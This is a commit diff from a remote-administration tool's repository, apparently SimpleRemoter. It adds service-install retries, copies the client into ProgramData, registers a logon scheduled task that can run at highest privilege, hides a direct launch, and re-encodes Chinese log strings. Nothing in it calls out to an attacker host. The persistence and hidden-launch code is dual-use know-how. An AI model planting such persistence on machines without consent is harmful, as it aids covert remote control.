mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-24 00:03:10 +08:00
Revert ac2480c9: Copy and run client program in ProgramData
Fix: Run as Windows service will fail due to ac2480c9
Improve: Don't check date because trail has been removed
This commit is contained in:
@@ -344,17 +344,31 @@ BOOL ServiceWrapper_Install(void)
|
|||||||
Mprintf("Installing service...\n");
|
Mprintf("Installing service...\n");
|
||||||
Mprintf("Executable path: %s\n", szPath);
|
Mprintf("Executable path: %s\n", szPath);
|
||||||
|
|
||||||
schService = CreateService(
|
int retryCount = 5;
|
||||||
schSCManager,
|
|
||||||
g_MyService.Name,
|
for (int i = 0; i < retryCount; i++) {
|
||||||
g_MyService.Display,
|
schService = CreateService(
|
||||||
SERVICE_ALL_ACCESS,
|
schSCManager,
|
||||||
SERVICE_WIN32_OWN_PROCESS,
|
g_MyService.Name,
|
||||||
SERVICE_AUTO_START,
|
g_MyService.Display,
|
||||||
SERVICE_ERROR_NORMAL,
|
SERVICE_ALL_ACCESS,
|
||||||
szPath,
|
SERVICE_WIN32_OWN_PROCESS,
|
||||||
NULL, NULL, NULL, NULL, NULL
|
SERVICE_AUTO_START,
|
||||||
);
|
SERVICE_ERROR_NORMAL,
|
||||||
|
szPath,
|
||||||
|
NULL, NULL, NULL, NULL, NULL
|
||||||
|
);
|
||||||
|
if (schService != NULL) {
|
||||||
|
break; // 成功
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD err = GetLastError();
|
||||||
|
if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
|
||||||
|
Sleep(2000);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
break; // 其他错误,退出
|
||||||
|
}
|
||||||
|
|
||||||
if (schService == NULL) {
|
if (schService == NULL) {
|
||||||
err = GetLastError();
|
err = GetLastError();
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
/*
|
/*
|
||||||
* Author: 962914132@qq.com
|
* Author: 962914132@qq.com
|
||||||
* Purpose: Create a scheduled task.
|
* Purpose: Create a scheduled task.
|
||||||
* Language: C
|
* Language: C
|
||||||
@@ -32,14 +32,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
{
|
{
|
||||||
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>COM<EFBFBD>⣬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("无法初始化COM库,错误代码:%ld\n", hr);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
ITaskService* pService = NULL;
|
ITaskService* pService = NULL;
|
||||||
hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IID_ITaskService, (void**)&pService);
|
hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IID_ITaskService, (void**)&pService);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>TaskSchedulerʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("无法创建TaskScheduler实例,错误代码:%ld\n", hr);
|
||||||
CoUninitialize();
|
CoUninitialize();
|
||||||
return 2;
|
return 2;
|
||||||
}
|
}
|
||||||
@@ -49,7 +49,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
empty.vt = VT_EMPTY;
|
empty.vt = VT_EMPTY;
|
||||||
hr = pService->lpVtbl->Connect(pService, empty, empty, empty, empty);
|
hr = pService->lpVtbl->Connect(pService, empty, empty, empty, empty);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("无法连接到任务计划服务,错误代码:%ld\n", hr);
|
||||||
pService->lpVtbl->Release(pService);
|
pService->lpVtbl->Release(pService);
|
||||||
CoUninitialize();
|
CoUninitialize();
|
||||||
return 3;
|
return 3;
|
||||||
@@ -61,7 +61,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
ITaskFolder* pRootFolder = NULL;
|
ITaskFolder* pRootFolder = NULL;
|
||||||
hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pRootFolder);
|
hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pRootFolder);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>У<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("无法获取任务计划程序根文件夹,错误代码:%ld\n", hr);
|
||||||
pService->lpVtbl->Release(pService);
|
pService->lpVtbl->Release(pService);
|
||||||
CoUninitialize();
|
CoUninitialize();
|
||||||
return 4;
|
return 4;
|
||||||
@@ -73,7 +73,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
IRegisteredTask* pOldTask = NULL;
|
IRegisteredTask* pOldTask = NULL;
|
||||||
hr = pRootFolder->lpVtbl->GetTask(pRootFolder, wTaskName, &pOldTask);
|
hr = pRootFolder->lpVtbl->GetTask(pRootFolder, wTaskName, &pOldTask);
|
||||||
if (SUCCEEDED(hr) && pOldTask != NULL) {
|
if (SUCCEEDED(hr) && pOldTask != NULL) {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѵ<EFBFBD><EFBFBD><EFBFBD>: %s\n", taskName);
|
Mprintf("任务已存在: %s\n", taskName);
|
||||||
pOldTask->lpVtbl->Release(pOldTask);
|
pOldTask->lpVtbl->Release(pOldTask);
|
||||||
if (check) {
|
if (check) {
|
||||||
pRootFolder->lpVtbl->Release(pRootFolder);
|
pRootFolder->lpVtbl->Release(pRootFolder);
|
||||||
@@ -89,13 +89,13 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
hr = pService->lpVtbl->NewTask(pService, 0, &pTask);
|
hr = pService->lpVtbl->NewTask(pService, 0, &pTask);
|
||||||
pRootFolder->lpVtbl->Release(pRootFolder);
|
pRootFolder->lpVtbl->Release(pRootFolder);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>壬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("无法创建任务定义,错误代码:%ld\n", hr);
|
||||||
pService->lpVtbl->Release(pService);
|
pService->lpVtbl->Release(pService);
|
||||||
CoUninitialize();
|
CoUninitialize();
|
||||||
return 5;
|
return 5;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// 配置设置
|
||||||
ITaskSettings* pSettings = NULL;
|
ITaskSettings* pSettings = NULL;
|
||||||
hr = pTask->lpVtbl->get_Settings(pTask, &pSettings);
|
hr = pTask->lpVtbl->get_Settings(pTask, &pSettings);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
@@ -107,7 +107,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
pSettings->lpVtbl->Release(pSettings);
|
pSettings->lpVtbl->Release(pSettings);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("获取配置设置失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
IRegistrationInfo* pRegInfo = NULL;
|
IRegistrationInfo* pRegInfo = NULL;
|
||||||
@@ -132,7 +132,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
pRegInfo->lpVtbl->Release(pRegInfo);
|
pRegInfo->lpVtbl->Release(pRegInfo);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("<EFBFBD><EFBFBD>ȡע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("获取注册信息失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
ITriggerCollection* pTriggerCollection = NULL;
|
ITriggerCollection* pTriggerCollection = NULL;
|
||||||
@@ -142,7 +142,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
|
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
|
||||||
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
// <EFBFBD><EFBFBD>ͨ<EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>Ҫָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>
|
// 普通用户需要指定具体用户
|
||||||
if (!runasAdmin) {
|
if (!runasAdmin) {
|
||||||
ILogonTrigger* pLogonTrigger = NULL;
|
ILogonTrigger* pLogonTrigger = NULL;
|
||||||
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
||||||
@@ -161,7 +161,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
pTrigger->lpVtbl->Release(pTrigger);
|
pTrigger->lpVtbl->Release(pTrigger);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("无法设置任务触发器,错误代码:%ld\n", hr);
|
||||||
pTask->lpVtbl->Release(pTask);
|
pTask->lpVtbl->Release(pTask);
|
||||||
pService->lpVtbl->Release(pService);
|
pService->lpVtbl->Release(pService);
|
||||||
CoUninitialize();
|
CoUninitialize();
|
||||||
@@ -169,10 +169,10 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("获取任务触发失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD><EFBFBD>ò<EFBFBD><EFBFBD><EFBFBD>
|
// 设置操作
|
||||||
IActionCollection* pActionCollection = NULL;
|
IActionCollection* pActionCollection = NULL;
|
||||||
hr = pTask->lpVtbl->get_Actions(pTask, &pActionCollection);
|
hr = pTask->lpVtbl->get_Actions(pTask, &pActionCollection);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
@@ -190,33 +190,33 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
pExecAction->lpVtbl->Release(pExecAction);
|
pExecAction->lpVtbl->Release(pExecAction);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("QueryInterface <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("QueryInterface 调用失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
pAction->lpVtbl->Release(pAction);
|
pAction->lpVtbl->Release(pAction);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("创建任务动作失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
pActionCollection->lpVtbl->Release(pActionCollection);
|
pActionCollection->lpVtbl->Release(pActionCollection);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("获取任务动作失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// 权限配置
|
||||||
IPrincipal* pPrincipal = NULL;
|
IPrincipal* pPrincipal = NULL;
|
||||||
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
||||||
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
|
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
|
||||||
if (FAILED(hr)) Mprintf("put_LogonType ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
|
||||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||||
if (FAILED(hr)) Mprintf("put_RunLevel ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
||||||
pPrincipal->lpVtbl->Release(pPrincipal);
|
pPrincipal->lpVtbl->Release(pPrincipal);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
if (runasAdmin) Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
if (runasAdmin) Mprintf("获取任务权限失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
// ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// 注册任务
|
||||||
ITaskFolder* pFolder = NULL;
|
ITaskFolder* pFolder = NULL;
|
||||||
hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pFolder);
|
hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pFolder);
|
||||||
ConvertCharToWChar(taskName, wTaskName, MAX_PATH);
|
ConvertCharToWChar(taskName, wTaskName, MAX_PATH);
|
||||||
@@ -225,7 +225,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
char userName[UNLEN + 1] = {0};
|
char userName[UNLEN + 1] = {0};
|
||||||
DWORD nameLen = UNLEN + 1;
|
DWORD nameLen = UNLEN + 1;
|
||||||
if (GetUserNameA(userName, &nameLen)) {
|
if (GetUserNameA(userName, &nameLen)) {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD>. <20><>ǰ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s\n", userName);
|
Mprintf("创建任务计划. 当前用户名称为: %s\n", userName);
|
||||||
}
|
}
|
||||||
WCHAR wUser[_MAX_PATH] = {0};
|
WCHAR wUser[_MAX_PATH] = {0};
|
||||||
ConvertCharToWChar(userName, wUser, MAX_PATH);
|
ConvertCharToWChar(userName, wUser, MAX_PATH);
|
||||||
@@ -255,13 +255,13 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
pRunningTask->lpVtbl->Release(pRunningTask);
|
pRunningTask->lpVtbl->Release(pRunningTask);
|
||||||
} else {
|
} else {
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("无法启动任务,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
pRegisteredTask->lpVtbl->Release(pRegisteredTask);
|
pRegisteredTask->lpVtbl->Release(pRegisteredTask);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("ע<EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No");
|
Mprintf("注册计划任务失败,错误代码:%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No");
|
||||||
}
|
}
|
||||||
|
|
||||||
VariantClear(&vUser);
|
VariantClear(&vUser);
|
||||||
@@ -269,7 +269,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
pFolder->lpVtbl->Release(pFolder);
|
pFolder->lpVtbl->Release(pFolder);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
|
Mprintf("获取任务目录失败,错误代码:%ld\n", hr);
|
||||||
}
|
}
|
||||||
|
|
||||||
pTask->lpVtbl->Release(pTask);
|
pTask->lpVtbl->Release(pTask);
|
||||||
@@ -343,8 +343,13 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
return 1;
|
return 1;
|
||||||
#endif
|
#endif
|
||||||
Log = log;
|
Log = log;
|
||||||
|
char username[256];
|
||||||
|
DWORD size = sizeof(username);
|
||||||
|
if (GetUserNameA(username, &size)) {
|
||||||
|
Mprintf("RegisterStartup is running with user: %s\n", username);
|
||||||
|
}
|
||||||
char folder[MAX_PATH] = { 0 };
|
char folder[MAX_PATH] = { 0 };
|
||||||
if (GetEnvironmentVariableA("LOCALAPPDATA", folder, MAX_PATH) > 0) {
|
if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) {
|
||||||
size_t len = strlen(folder);
|
size_t len = strlen(folder);
|
||||||
if (len > 0 && folder[len - 1] != '\\') {
|
if (len > 0 && folder[len - 1] != '\\') {
|
||||||
folder[len] = '\\';
|
folder[len] = '\\';
|
||||||
@@ -385,12 +390,16 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
||||||
|
|
||||||
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
|
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %s!\n", status == 0 ? "<EFBFBD>ɹ<EFBFBD>" : "ʧ<EFBFBD><EFBFBD>");
|
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||||
|
if (b && status) {
|
||||||
|
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
|
||||||
|
Mprintf("尝试直接启动目标程序[%d]: %s %s\n", ret, dstFile, ret > 32 ? "succeed":"failed");
|
||||||
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
|
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %s!\n", status == 0 ? "<EFBFBD>ɹ<EFBFBD>" : "ʧ<EFBFBD><EFBFBD>");
|
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||||
if (lockFile)
|
if (lockFile)
|
||||||
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#pragma warning(disable: 4996)
|
#pragma warning(disable: 4996)
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
#ifdef _WINDOWS
|
#ifdef _WINDOWS
|
||||||
@@ -35,7 +35,7 @@ public:
|
|||||||
InfoLevel, WarningLevel, ErrorLevel
|
InfoLevel, WarningLevel, ErrorLevel
|
||||||
};
|
};
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģʽ
|
// 单例模式
|
||||||
static Logger& getInstance()
|
static Logger& getInstance()
|
||||||
{
|
{
|
||||||
static Logger instance;
|
static Logger instance;
|
||||||
@@ -43,11 +43,13 @@ public:
|
|||||||
char buf[16] = {};
|
char buf[16] = {};
|
||||||
sprintf_s(buf, "%d", GetCurrentProcessId());
|
sprintf_s(buf, "%d", GetCurrentProcessId());
|
||||||
instance.pid = buf;
|
instance.pid = buf;
|
||||||
|
// SYSTEM | C:\Windows\Temp
|
||||||
|
// 普通用户 | C:\Users\用户名\AppData\Local\Temp
|
||||||
char logPath[MAX_PATH] = { 0 };
|
char logPath[MAX_PATH] = { 0 };
|
||||||
GetEnvironmentVariableA("TEMP", logPath, MAX_PATH);
|
GetEnvironmentVariableA("TEMP", logPath, MAX_PATH);
|
||||||
instance.InitLogFile(logPath, instance.pid);
|
instance.InitLogFile(logPath, instance.pid);
|
||||||
#ifdef _WINDOWS
|
#ifdef _WINDOWS
|
||||||
instance.enable = true; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־Ĭ<EFBFBD>ϴ<EFBFBD><EFBFBD><EFBFBD>
|
instance.enable = true; // 主控日志默认打开
|
||||||
#else
|
#else
|
||||||
char var[32] = {};
|
char var[32] = {};
|
||||||
const char* name = skCrypt("ENABLE_LOG");
|
const char* name = skCrypt("ENABLE_LOG");
|
||||||
@@ -59,24 +61,24 @@ public:
|
|||||||
return instance;
|
return instance;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
// 禁止拷贝和赋值
|
||||||
Logger(const Logger&) = delete;
|
Logger(const Logger&) = delete;
|
||||||
Logger& operator=(const Logger&) = delete;
|
Logger& operator=(const Logger&) = delete;
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
|
// 设置日志文件名
|
||||||
void setLogFile(const std::string& filename)
|
void setLogFile(const std::string& filename)
|
||||||
{
|
{
|
||||||
std::lock_guard<std::mutex> lock(fileMutex);
|
std::lock_guard<std::mutex> lock(fileMutex);
|
||||||
logFileName = filename;
|
logFileName = filename;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
|
// 启用日志
|
||||||
void usingLog(bool b = true)
|
void usingLog(bool b = true)
|
||||||
{
|
{
|
||||||
enable = b;
|
enable = b;
|
||||||
}
|
}
|
||||||
|
|
||||||
// д<EFBFBD><EFBFBD>־<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD> printf <EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD>
|
// 写日志,支持 printf 格式化
|
||||||
void log(const char* file, int line, const char* format, ...)
|
void log(const char* file, int line, const char* format, ...)
|
||||||
{
|
{
|
||||||
va_list args;
|
va_list args;
|
||||||
@@ -105,16 +107,16 @@ public:
|
|||||||
printf("%s", logEntry.c_str());
|
printf("%s", logEntry.c_str());
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
cv.notify_one(); // ֪ͨд<EFBFBD>߳<EFBFBD>
|
cv.notify_one(); // 通知写线程
|
||||||
}
|
}
|
||||||
|
|
||||||
// ֹͣ<EFBFBD><EFBFBD>־ϵͳ
|
// 停止日志系统
|
||||||
void stop()
|
void stop()
|
||||||
{
|
{
|
||||||
if (!running) return;
|
if (!running) return;
|
||||||
{
|
{
|
||||||
std::lock_guard<std::mutex> lock(queueMutex);
|
std::lock_guard<std::mutex> lock(queueMutex);
|
||||||
running = false; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
|
running = false; // 设置运行状态
|
||||||
}
|
}
|
||||||
cv.notify_one();
|
cv.notify_one();
|
||||||
if (workerThread.joinable()) {
|
if (workerThread.joinable()) {
|
||||||
@@ -128,7 +130,7 @@ public:
|
|||||||
}
|
}
|
||||||
|
|
||||||
private:
|
private:
|
||||||
// <EFBFBD><EFBFBD>־<EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// 日志按月份起名
|
||||||
void InitLogFile(const std::string & dir, const std::string& pid)
|
void InitLogFile(const std::string & dir, const std::string& pid)
|
||||||
{
|
{
|
||||||
time_t currentTime = time(nullptr);
|
time_t currentTime = time(nullptr);
|
||||||
@@ -143,16 +145,16 @@ private:
|
|||||||
#endif
|
#endif
|
||||||
logFileName = dir + fileName;
|
logFileName = dir + fileName;
|
||||||
}
|
}
|
||||||
std::string logFileName; // <EFBFBD><EFBFBD>־<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
|
std::string logFileName; // 日志文件名
|
||||||
bool enable; // <EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
bool enable; // 是否启用
|
||||||
